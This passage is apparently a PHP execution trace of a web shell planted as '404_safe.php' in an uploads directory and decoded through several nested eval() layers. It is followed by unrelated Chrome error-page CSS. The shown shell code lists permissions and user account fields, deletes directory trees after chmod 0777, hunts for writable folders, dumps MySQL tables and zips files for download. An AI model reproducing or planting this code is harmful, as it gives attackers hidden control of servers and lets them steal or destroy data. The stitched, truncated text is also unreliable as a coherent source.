\'-\';\n\t$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\';\n\t$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\';\n\t$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\';\n\t$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\';\n\t$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\';\n\t$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\';\n\t$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\';\n\n\tif( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}\n\tif( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}\n\tif( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}\n\n\treturn $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];\n}\n\nfunction getUser($filepath)\t{\n\tif (function_exists(\'posix_getpwuid\')) {\n\t\t$array = @posix_getpwuid(@fileowner($filepath));\n\t\tif ($array && is_array($array)) {\n\t\t\treturn \' / <a href="#" title="User: \'.$array[\'name\'].\'
Passwd: \'.$array[\'passwd\'].\'
Uid: \'.$array[\'uid\'].\'
gid: \'.$array[\'gid\'].\'
Gecos: \'.$array[\'gecos\'].\'
Dir: \'.$array[\'dir\'].\'
Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';\n\t\t}\n\t}\n\treturn \'\';\n}\n\n// Delete dir\nfunction deltree($deldir) {\n\t$mydir=@dir($deldir);\n\twhile($file=$mydir->read())\t{\n\t\tif((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) {\n\t\t\t@chmod($deldir.\'/\'.$file,0777);\n\t\t\tdeltree($deldir.\'/\'.$file);\n\t\t}\n\t\tif (is_file($deldir.\'/\'.$file)) {\n\t\t\t@chmod($deldir.\'/\'.$file,0777);\n\t\t\t@unlink($deldir.\'/\'.$file);\n\t\t}\n\t}\n\t$mydir->close();\n\t@chmod($deldir,0777);\n\treturn @rmdir($deldir) ? 1 : 0;\n}\n\n// Background\nfunction bg() {\n\tglobal $bgc;\n\treturn ($bgc++%2==0) ? \'alt1\' : \'alt2\';\n}\n\n// Get path\nfunction getPath($scriptpath, $nowpath) {\n\tif ($nowpath == \'.\') {\n\t\t$nowpath = $scriptpath;\n\t}\n\t$nowpath = str_replace(\'\\\\\', \'/\', $nowpath);\n\t$nowpath = str_replace(\'//\', \'/\', $nowpath);\n\tif (substr($nowpath, -1) != \'/\') {\n\t\t$nowpath = $nowpath.\'/\';\n\t}\n\treturn $nowpath;\n}\n\n// Get up path\nfunction getUpPath($nowpath) {\n\t$pathdb = explode(\'/\', $nowpath);\n\t$num = count($pathdb);\n\tif ($num > 2) {\n\t\tunset($pathdb[$num-1],$pathdb[$num-2]);\n\t}\n\t$uppath = implode(\'/\', $pathdb).\'/\';\n\t$uppath = str_replace(\'//\', \'/\', $uppath);\n\treturn $uppath;\n}\n\n// Config\nfunction getcfg($varname) {\n\t$result = get_cfg_var($varname);\n\tif ($result == 0) {\n\t\treturn \'No\';\n\t} elseif ($result == 1) {\n\t\treturn \'Yes\';\n\t} else {\n\t\treturn $result;\n\t}\n}\n\n// Function name\nfunction getfun($funName) {\n\treturn (false !== function_exists($funName)) ? \'Yes\' : \'No\';\n}\n\nfunction GetList($dir){\n\tglobal $dirdata,$j,$nowpath;\n\t!$j && $j=1;\n\tif ($dh = opendir($dir)) {\n\t\twhile ($file = readdir($dh)) {\n\t\t\t$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);\n\t\t\tif($file!=\'.\' && $file!=\'..\' && is_dir($f)){\n\t\t\t\tif (is_writable($f)) {\n\t\t\t\t\t$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);\n\t\t\t\t\t$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));\n\t\t\t\t\t$dirdata[$j][\'dirchmod\']=getChmod($f);\n\t\t\t\t\t$dirdata[$j][\'dirperm\']=getPerms($f);\n\t\t\t\t\t$dirdata[$j][\'dirlink\']=ue($dir);\n\t\t\t\t\t$dirdata[$j][\'server_link\']=$f;\n\t\t\t\t\t$dirdata[$j][\'client_link\']=ue($f);\n\t\t\t\t\t$j++;\n\t\t\t\t}\n\t\t\t\tGetList($f);\n\t\t\t}\n\t\t}\n\t\tclosedir($dh);\n\t\tclearstatcache();\n\t\treturn $dirdata;\n\t} else {\n\t\treturn array();\n\t}\n}\n\nfunction qy($sql) {\n\t//echo $sql.\'<br>\';\n\t$res = $error = \'\';\n\tif(!$res = @mysql_query($sql)) {\n\t\treturn 0;\n\t} else if(is_resource($res)) {\n\t\treturn 1;\n\t} else {\n\t\treturn 2;\n\t}\n\treturn 0;\n}\n\nfunction q($sql) {\n\treturn @mysql_query($sql);\n}\n\nfunction fr($qy){\n\tmysql_free_result($qy);\n}\n\nfunction sizecount($size) {\n\tif($size > 1073741824) {\n\t\t$size = round($size / 1073741824 * 100) / 100 . \' G\';\n\t} elseif($size > 1048576) {\n\t\t$size = round($size / 1048576 * 100) / 100 . \' M\';\n\t} elseif($size > 1024) {\n\t\t$size = round($size / 1024 * 100) / 100 . \' K\';\n\t} else {\n\t\t$size = $size . \' B\';\n\t}\n\treturn $size;\n}\n\n// Zip\nclass PHPZip{\n\tvar $out=\'\';\n\tfunction PHPZip($dir)\t{\n\t\tif (@function_exists(\'gzcompress\'))\t{\n\t\t\t$curdir = getcwd();\n\t\t\tif (is_array($dir)) $filelist = $dir;\n\t\t\telse{\n\t\t\t\t$filelist=$this -> GetFileList($dir);//File list\n\t\t\t\tforeach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);\n\t\t\t}\n\t\t\tif ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);\n\t\t\telse chdir($curdir);\n\t\t\tif (count($filelist)>0){\n\t\t\t\tforeach($filelist as $filename){\n\t\t\t\t\tif (is_file($filename)){\n\t\t\t\t\t\t$fd = fopen ($filename, \'r\');\n\t\t\t\t\t\t$content = @fread ($fd, filesize($filename));\n\t\t\t\t\t\tfclose ($fd);\n\t\t\t\t\t\tif (is_array($dir)) $filename = basename($filename);\n\t\t\t\t\t\t$this -> addFile($content, $filename);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->out = $this -> file();\n\t\t\t\tchdir($curdir);\n\t\t\t}\n\t\t\treturn 1;\n\t\t}\n\t\telse return 0;\n\t}\n\n\t// Show file list\n\tfunction GetFileList($dir){\n\t\tstatic $a;\n\t\tif (is_dir($dir)) {\n\t\t\tif ($dh = opendir($dir)) {\n\t\t\t\twhile ($file = readdir($dh)) {\n\t\t\t\t\tif($file!=\'.\' && $file!=\'..\'){\n\t\t\t\t\t\t$f=$dir .\'/\'. $file;\n\t\t\t\t\t\tif(is_dir($f)) $this->GetFileList($f);\n\t\t\t\t\t\t$a[]=$f;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tclosedir($dh);\n\t\t\t}\n\t\t}\n\t\treturn $a;\n\t}\n\n\tvar $datasec = array();\n\tvar $ctrl_dir = array();\n\tvar $eof_ctrl_dir = "\\x50\\x4b\\x05\\x06\\x00\\x00\\x00\\x00";\n\tvar $old_offset = 0;\n\n\tfunction unix2DosTime($unixtime = 0) {\n\t\t$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);\n\t\tif ($timearray[\'year\'] < 1980) {\n\t\t\t$timearray[\'year\'] = 1980;\n\t\t\t$timearray[\'mon\'] = 1;\n\t\t\t$timearray[\'mday\'] = 1;\n\t\t\t$timearray[\'hours\'] = 0;\n\t\t\t$timearray[\'minutes\'] = 0;\n\t\t\t$timearray[\'seconds\'] = 0;\n\t\t} // end if\n\t\treturn (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |\n\t\t\t\t($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);\n\t}\n\n\tfunction addFile($data, $name, $time = 0) {\n\t\t$name = str_replace(\'\\\\\', \'/\', $name);\n\n\t\t$dtime = dechex($this->unix2DosTime($time));\n\t\t$hexdtime\t= \'\\x\' . $dtime[6] . $dtime[7]\n\t\t\t\t\t. \'\\x\' . $dtime[4] . $dtime[5]\n\t\t\t\t\t. \'\\x\' . $dtime[2] . $dtime[3]\n\t\t\t\t\t. \'\\x\' . $dtime[0] . $dtime[1];\n\t\teval(\'$hexdtime = "\' . $hexdtime . \'";\');\n\t\t$fr\t= "\\x50\\x4b\\x03\\x04";\n\t\t$fr\t.= "\\x14\\x00";\n\t\t$fr\t.= "\\x00\\x00";\n\t\t$fr\t.= "\\x08\\x00";\n\t\t$fr\t.= $hexdtime;\n\n\t\t$unc_len = strlen($data);\n\t\t$crc = crc32($data);\n\t\t$zdata = gzcompress($data);\n\t\t$c_len = strlen($zdata);\n\t\t$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);\n\t\t$fr .= pack(\'V\', $crc);\n\t\t$fr .= pack(\'V\', $c_len);\n\t\t$fr .= pack(\'V\', $unc_len);\n\t\t$fr .= pack(\'v\', strlen($name));\n\t\t$fr .= pack(\'v\', 0);\n\t\t$fr .= $name;\n\t\t$fr .= $zdata;\n\t\t$fr .= pack(\'V\', $crc);\n\t\t$fr .= pack(\'V\', $c_len);\n\t\t$fr .= pack(\'V\', $unc_len);\n\n\t\t$this -> datasec[] = $fr;\n\t\t$new_offset = strlen(implode(\'\', $this->datasec));\n\n\t\t$cdrec = "\\x50\\x4b\\x01\\x02";\n\t\t$cdrec .= "\\x00\\x00";\n\t\t$cdrec .= "\\x14\\x00";\n\t\t$cdrec .= "\\x00\\x00";\n\t\t$cdrec .= "\\x08\\x00";\n\t\t$cdrec .= $hexdtime;\n\t\t$cdrec .= pack(\'V\', $crc);\n\t\t$cdrec .= pack(\'V\', $c_len);\n\t\t$cdrec .= pack(\'V\', $unc_len);\n\t\t$cdrec .= pack(\'v\', strlen($name) );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'v\', 0 );\n\t\t$cdrec .= pack(\'V\', 32 );\n\t\t$cdrec .= pack(\'V\', $this -> old_offset );\n\t\t$this -> old_offset = $new_offset;\n\t\t$cdrec .= $name;\n\n\t\t$this -> ctrl_dir[] = $cdrec;\n\t}\n\n\tfunction file() {\n\t\t$data = implode(\'\', $this -> datasec);\n\t\t$ctrldir = implode(\'\', $this -> ctrl_dir);\n\t\treturn $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) .\tpack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\\x00\\x00";\n\t}\n}\n\n// Dump mysql\nfunction sqldumptable($table, $fp=0) {\n\t$tabledump = "DROP TABLE IF EXISTS $table;\\n";\n\t$tabledump .= "CREATE TABLE $table (\\n";\n\n\t$firstfield=1;\n\n\t$fields = q("SHOW FIELDS FROM $table");\n\twhile ($field = mysql_fetch_array($fields)) {\n\t\tif (!$firstfield) {\n\t\t\t$tabledump .= ",\\n";\n\t\t} else {\n\t\t\t$firstfield=0;\n\t\t}\n\t\t$tabledump .= " $field[Field] $field[Type]";\n\t\tif (!empty($field["Default"])) {\n\t\t\t$tabledump .= " DEFAULT \'$field[Default]\'";\n\t\t}\n\t\tif ($field[\'Null\'] != "YES") {\n\t\t\t$tabledump .= " NOT NULL";\n\t\t}\n\t\tif ($field[\'Extra\'] != "") {\n\t\t\t$tabledump .= " $field[Extra]";\n\t\t}\n\t}\n\tfr($fields);\n\n\t$keys = q("SHOW KEYS FROM $table");\n\twhile ($key = mysql_fetch_array($keys)) {\n\t\t$kname=$key[\'Key_name\'];\n\t\tif ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {\n\t\t\t$kname="UNIQUE|$kname";\n\t\t}\n\t\tif(!is_array($index[$kname])) {\n\t\t\t$index[$kname] = array();\n\t\t}\n\t\t$index[$kname][] = $key[\'Column_name\'];\n\t}\n\tfr($keys);\n\n\twhile(list($kname, $columns) = @each($index)) {\n\t\t$tabledump .= ",\\n";\n\t\t$colnames=implode($columns,",");\n\n\t\tif ($kname == "PRIMARY") {\n\t\t\t$tabledump .= " PRIMARY KEY ($colnames)";\n\t\t} else {\n\t\t\tif (substr($kname,0,6) == "UNIQUE") {\n\t\t\t\t$kname=substr($kname,7);\n\t\t\t}\n\t\t\t$tabledump .= " KEY $kname ($colnames)";\n\t\t}\n\t}\n\n\t$tabledump .= "\\n);\\n\\n";\n\tif ($fp) {\n\t\tfwrite($fp,$tabledump);\n\t} else {\n\t\techo $tabledump;\n\t}\n\n\t$rows = q("SELECT * FROM $table");\n\t$numfields = mysql_num_fields($rows);\n\twhile ($row = mysql_fetch_array($rows)) {\n\t\t$tabledump = "INSERT INTO $table VALUES(";\n\n\t\t$fieldcounter=-1;\n\t\t$firstfield=1;\n\t\twhile (++$fieldcounter<$numfields) {\n\t\t\tif (!$firstfield) {\n\t\t\t\t$tabledump.=", ";\n\t\t\t} else {\n\t\t\t\t$firstfield=0;\n\t\t\t}\n\n\t\t\tif (!isset($row[$fieldcounter])) {\n\t\t\t\t$tabledump .= "NULL";\n\t\t\t} else {\n\t\t\t\t$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";\n\t\t\t}\n\t\t}\n\n\t\t$tabledump .= ");\\n";\n\n\t\tif ($fp) {\n\t\t\tfwrite($fp,$tabledump);\n\t\t} else {\n\t\t\techo $tabledump;\n\t\t}\n\t}\n\tfr($rows);\n\tif ($fp) {\n\t\tfwrite($fp,"\\n");\n\t} else {\n\t\techo "\\n";\n\t}\n}\n\nfunction ue($str){\n\treturn urlencode($str);\n}\n\nfunction p($str){\n\techo $str."\\n";\n}\n\nfunction tbhead() {\n\tp(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');\n}\nfunction tbfoot(){\n\tp(\'</table>\');\n}\n\nfunction makehide($name,$value=\'\'){\n\tp("<input id=\\"$name\\" type=\\"hidden\\" name=\\"$name\\" value=\\"$value\\" />");\n}\n\nfunction makeinput($arg = array()){\n\t$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\\"$arg[size]\\"" : "size=\\"100\\"";\n\t$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';\n\t!$arg[\'type\'] && $arg[\'type\'] = \'text\';\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';\n\t$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';\n\tif ($arg[\'newline\']) {\n\t\tp("<p>$arg[title]<input class=\\"$arg[class]\\" name=\\"$arg[name]\\" id=\\"$arg[name]\\" value=\\"$arg[value]\\" type=\\"$arg[type]\\" $arg[size] $arg[extra] /></p>");\n\t} else {\n\t\tp("$arg[title]<input class=\\"$arg[class]\\" name=\\"$arg[name]\\" id=\\"$arg[name]\\" value=\\"$arg[value]\\" type=\\"$arg[type]\\" $arg[size] $arg[extra] />");\n\t}\n}\n\nfunction makeselect($arg = array()){\n\tif ($arg[\'onchange\']) {\n\t\t$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';\n\t}\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';\n\tif ($arg[\'newline\']) p(\'<p>\');\n\tp("$arg[title] <select class=\\"input\\" id=\\"$arg[name]\\" name=\\"$arg[name]\\" $onchange>");\n\t\tif (is_array($arg[\'option\'])) {\n\t\t\tforeach ($arg[\'option\'] as $key=>$value) {\n\t\t\t\tif ($arg[\'selected\']==$key) {\n\t\t\t\t\tp("<option value=\\"$key\\" selected>$value</option>");\n\t\t\t\t} else {\n\t\t\t\t\tp("<option value=\\"$key\\">$value</option>");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\tp("</select>");\n\tif ($arg[\'newline\']) p(\'</p>\');\n}\nfunction formhead($arg = array()) {\n\t!$arg[\'method\'] && $arg[\'method\'] = \'post\';\n\t!$arg[\'action\'] && $arg[\'action\'] = $self;\n\t$arg[\'target\'] = $arg[\'target\'] ? "target=\\"$arg[target]\\"" : \'\';\n\t!$arg[\'name\'] && $arg[\'name\'] = \'form1\';\n\tp("<form name=\\"$arg[name]\\" id=\\"$arg[name]\\" action=\\"$arg[action]\\" method=\\"$arg[method]\\" $arg[target]>");\n\tif ($arg[\'title\']) {\n\t\tp(\'<h2>\'.$arg[\'title\'].\' »</h2>\');\n\t}\n}\n\nfunction maketext($arg = array()){\n\t!$arg[\'cols\'] && $arg[\'cols\'] = 100;\n\t!$arg[\'rows\'] && $arg[\'rows\'] = 25;\n\t$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';\n\tp("<p>$arg[title]<textarea class=\\"area\\" id=\\"$arg[name]\\" name=\\"$arg[name]\\" cols=\\"$arg[cols]\\" rows=\\"$arg[rows]\\" $arg[extra]>$arg[value]</textarea></p>");\n}\n\nfunction formfooter($name = \'\'){\n\t!$name && $name = \'submit\';\n\tp(\'<p><input class="bt" name="\'.$name.\'" id=\\"\'.$name.\'\\" type="submit" value="Submit"></p>\');\n\tp(\'</form>\');\n}\n\nfunction formfoot(){\n\tp(\'</form>\');\n}\n\n// Exit\nfunction pr($a) {\n\techo \'<pre>\';\n\tprint_r($a);\n\techo \'</pre>\';\n}' /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 0
6 23 0 0.011517 1548296 error_reporting 0 /var/www/html/uploads/404_safe.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code 8 1 7
6 23 1 0.011539 1548336
6 23 R 22527
5 22 1 0.011567 1550576
4 18 1 0.011622 1161608
3 12 1 0.011631 1057696
2 6 1 0.011639 1054528
1 3 1 0.011647 1051208
1 24 0 0.011655 1051240 Error->__toString 0 Unknown 0 0
2 25 0 0.011668 1051320 Error->getTraceAsString 0 Unknown 0 0
2 25 1 0.011689 1055416
2 25 R '#0 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1): eval()\n#3 /var/www/html/uploads/404_safe.php(1): eval()\n#4 {main}'
1 24 1 0.011713 1055712
1 24 R 'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code:9\nStack trace:\n#0 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1) : eval()\'d code(1): eval()\n#2 /var/www/html/uploads/404_safe.php(1) : eval()\'d code(1): eval()\n#3 /var/www/html/uploads/404_safe.php(1): eval()\n#4 {main}'
0.011800 976232
TRACE END [2023-02-12 23:07:15.034440]
<html dir="ltr" lang="en"><head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no">
<title>localhost</title>
<style>/* Copyright 2017 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
a {
color: var(--link-color);
}
body {
--background-color: #fff;
--error-code-color: var(--google-gray-700);
--google-blue-100: rgb(210, 227, 252);
--google-blue-300: rgb(138, 180, 248);
--google-blue-600: rgb(26, 115, 232);
--google-blue-700: rgb(25, 103, 210);
--google-gray-100: rgb(241, 243, 244);
--google-gray-300: rgb(218, 220, 224);
--google-gray-500: rgb(154, 160, 166);
--google-gray-50: rgb(248, 249, 250);
--google-gray-600: rgb(128, 134, 139);
--google-gray-700: rgb(95, 99, 104);
--google-gray-800: rgb(60, 64, 67);
--google-gray-900: rgb(32, 33, 36);
--heading-color: var(--google-gray-900);
--link-color: rgb(88, 88, 88);
--popup-container-background-color: rgba(0,0,0,.65);
--primary-button-fill-color-active: var(--google-blue-700);
--primary-button-fill-color: var(--google-blue-600);
--primary-button-text-color: #fff;
--quiet-background-color: rgb(247, 247, 247);
--secondary-button-border-color: var(--google-gray-500);
--secondary-button-fill-color: #fff;
--secondary-button-hover-border-color: var(--google-gray-600);
--secondary-button-hover-fill-color: var(--google-gray-50);
--secondary-button-text-color: var(--google-gray-700);
--small-link-color: var(--google-gray-700);
--text-color: var(--google-gray-700);
background: var(--background-color);
color: var(--text-color);
word-wrap: break-word;
}
.nav-wrapper .secondary-button {
background: var(--secondary-button-fill-color);
border: 1px solid var(--secondary-button-border-color);
color: var(--secondary-button-text-color);
float: none;
margin: 0;
padding: 8px 16px;
}
.hidden {
display: none;
}
html {
-webkit-text-size-adjust: 100%;
font-size: 125%;
}
.icon {
background-repeat: no-repeat;
background-size: 100%;
}
@media (prefers-color-scheme: dark) {
body {
--background-color: var(--google-gray-900);
--error-code-color: var(--google-gray-500);
--heading-color: var(--google-gray-500);
--link-color: var(--google-blue-300);
--primary-button-fill-color-active: rgb(129, 162, 208);
--primary-button-fill-color: var(--google-blue-300);
--primary-button-text-color: var(--google-gray-900);
--quiet-background-color: var(--background-color);
--secondary-button-border-color: var(--google-gray-700);
--secondary-button-fill-color: var(--google-gray-900);
--secondary-button-hover-fill-color: rgb(48, 51, 57);
--secondary-button-text-color: var(--google-blue-300);
--small-link-color: var(--google-blue-300);
--text-color: var(--google-gray-500);
}
}
</style>
<style>/* Copyright 2014 The Chromium Authors
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. */
button {
border: 0;
border-radius: 4px;
box-sizing: border-box;
color: var(--primary-button-text-color);
cursor: pointer;
float: right;
font-size: .875em;
margin: 0;
padding: 8px 16px;
transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
user-select: none;
}
[dir='rtl'] button {
float: left;
}
.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
background: var(--primary-button-fill-color);
}
button:active {
background: var(--primary-button-fill-color-active);
outline: 0;
}
#debugging {
display: inline;
overflow: auto;
}
.debugging-content {
line-height: 1em;
margin-bottom: 0;
margin-top: 1em;
}
.debugging-content-fixed-width {
display: block;
font-family: monospace;
font-size: 1.2em;
margin-top: 0.5em;
}
.debugging-title {
font-weight: bold;
}
#details {
margin: 0 0 50px;
}
#details p:not(:first-of-type) {
margin-top: 20px;
}
.secondary-button:active {
border-color: white;
box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
0 2px 6px 2px rgba(60, 64, 67, .15);
}
.secondary-button:hover {
background: var(--secondary-button-hover-fill-color);
border-color: var(--secondary-button-hover-border-color);
text-decoration: none;
}
.error-code {
color: var(--error-code-color);
font-size: .8em;
margin-top: 12px;
text-transform: uppercase;
}
#error-debugging-info {
font-size: 0.8em;
}
h1 {
color: var(--heading-color);
font-size: 1.6em;
font-weight: normal;
line-height: 1.25em;
margin-bottom: 16px;
}
h2 {
font-size: 1.2em;
font-weight: normal;
}
.icon {
height: 72px;
margin: 0 0 40px;
width: 72px;
}
input[type=checkbox] {
opacity: 0;
}
input[type=checkbox]:focus ~ .checkbox::after {
outline: -webkit-focus-ring-color auto 5px;
}
.interstitial-wrapper {
box-sizing: border-box;
font-size: 1em;
line-height: 1.6em;
margin: 14vh auto 0;
max-width: 600px;
width: 100%;
}
#main-message > p {
display: inline;
}
#extended-reporting-opt-in {
font-size: .875em;
margin-top: 32px;
}
#extended-reporting-opt-in label {
display: grid;
grid-template-columns: 1.8em 1fr;
position: relative;
}
#enhanced-protection-message {
border-radius: 4px;
font-size: 1em;
margin-top: 32px;
padding: 10px 5px;
}
#enhanced-protection-message label {
display: grid;
grid-template-columns: 2.5em 1fr;
position: relative;
}
#enhanced-protection-message div {
margin: 0.5em;
}
#enhanced-protection-message .icon {
height: 1.5em;
vertical-align: middle;
width: 1.5em;
}
.nav-wrapper {
margin-top: 51px;
}
.nav-wrapper::after {
clear: both;
content: '';
display: table;
width: 100%;
}
.small-link {
color: var(--small-link-color);
font-size: .875em;
}
.checkboxes {
flex: 0 0 24px;
}
.checkbox {
--padding: .9em;
background: transparent;
display: block;
height: 1em;
left: -1em;
padding-inline-start: var(--padding);
position: absolute;
right: 0;
top: -.5em;
width: 1em;
}
.checkbox::after {
border: 1px solid white;
border-radius: 2px;
content: '';
height: 1em;
left: var(--padding);
position: absolute;
top: var(--padding);
width: 1em;
}
.checkbox::before {
background: transparent;
border: 2px solid white;
border-inline-end-width: 0;
border-top-width: 0;
content: '';
height: .2em;
left: calc(.3em + var(--padding));
opacity: 0;
position: absolute;
top: calc(.3em + var(--padding));
transform: rotate(-45deg);
width: .5em;
}
input[type=checkbox]:checked ~ .checkbox::before {
opacity: 1;
}
#recurrent-error-message {
background: #ededed;
border-radius: 4px;
margin-bottom: 16px;
margin-top: 12px;
padding: 12px 16px;
}
.showing-recurrent-error-message #extended-reporting-opt-in {
margin-top: 16px;
}
.showing-recurrent-error-message #enhanced-protection-message {
margin-top: 16px;
}
@media (max-width: 700px) {
.interstitial-wrapper {
padding: 0 10%;
}
#error-debugging-info {
overflow: auto;
}
}
@media (max-width: 420px) {
button,
[dir='rtl'] button,
.small-link {
float: none;
font-size: .825em;
font-weight: 500;
margin: 0;
width: 100%;
}
button {
padding: 16px 24px;
}
#details {
margin: 20px 0 20px 0;
}
#details p:not(:first-of-type) {
margin-top: 10px;
}
.secondary-button:not(.hidden) {
display: block;
margin-top: 20px;
text-align: center;
width: 100%;
}
.interstitial-wrapper {
padding: 0 5%;
}
#extended-reporting-opt-in {
margin-top: 24px;
}
#enhanced-protection-message {
margin-top: 24px;
}
.nav-wrapper {
margin-top: 30px;
}
}
/**
* Mobile specific styling.
* Navigation buttons are anchored to the bottom of the screen.
* Details message replaces the top content in its own scrollable area.
*/
@media (max-width: 420px) {
.nav-wrapper .secondary-button {
border: 0;
margin: 16px 0 0;
margin-inline-end: 0;
padding-bottom: 16px;
padding-top: 16px;
}
}
/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
(min-height: 401px),
(min-width: 421px) and (min-height: 240px) and
(max-height: 560px) {
body .nav-wrapper {
background: var(--background-color);
bottom: 0;
box-shadow: 0 -12px 24px var(--background-color);
left: 0;
margin: 0 auto;
max-width: 736px;
padding-inline-end: 24px;
padding-inline-start: 24px;
position: fixed;
right: 0;
width: 100%;
z-index: 2;
}
.interstitial-wrapper {
max-width: 736px;
}
#details,
#main-content {
padding-bottom: 40px;
}
#details {
padding-top: 5.5vh;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
body {
margin: 0 auto;
}
button,
[dir='rtl'] button,
button.small-link,
.nav-wrapper .secondary-button {
font-family: Roboto-Regular,Helvetica;
font-size: .933em;
margin: 6px 0;
transform: translatez(0);
}
.nav-wrapper {
box-sizing: border-box;
padding-bottom: 8px;
width: 100%;
}
#details {
box-sizing: border-box;
height: auto;
margin: 0;
opacity: 1;
transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
}
#details.hidden,
#main-content.hidden {
height: 0;
opacity: 0;
overflow: hidden;
padding-bottom: 0;
transition: none;
}
h1 {
font-size: 1.5em;
margin-bottom: 8px;
}
.icon {
margin-bottom: 5.69vh;
}
.interstitial-wrapper {
box-sizing: border-box;
margin: 7vh auto 12px;
padding: 0 24px;
position: relative;
}
.interstitial-wrapper p {
font-size: .95em;
line-height: 1.61em;
margin-top: 8px;
}
#main-content {
margin: 0;
transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
}
.small-link {
border: 0;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
margin: 0;
}
}
@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
@media (min-height: 400px) and (orientation:portrait) {
.interstitial-wrapper {
margin-bottom: 145px;
}
}
@media (min-height: 299px) {
.nav-wrapper {
padding-bottom: 16px;
}
}
@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
.extended-reporting-has-checkbox #details {
padding-bottom: 80px;
}
}
@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
(orientation: portrait) {
.interstitial-wrapper {
margin-top: 7vh;
}
}
@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
(max-height: 239px) and (orientation: landscape),
(max-width: 419px) and (max-height: 399px) {
.interstitial-wrapper {
display: flex;
flex-direction: column;
margin-bottom: 0;
}
#details {
flex: 1 1 auto;
order: 0;
}
#main-content {
flex: 1 1 auto;
order: 0;
}
.nav-wrapper {
flex: 0 1 auto;
margin-top: 8px;
order: 1;
padding-inline-end: 0;
padding-inline-start: 0;
position: relative;
width: 100%;
}
button,
.nav-wrapper .secondary-button {
padding: 16px 24px;
}
button.small-link {
color: var(--google-blue-600);
}
}
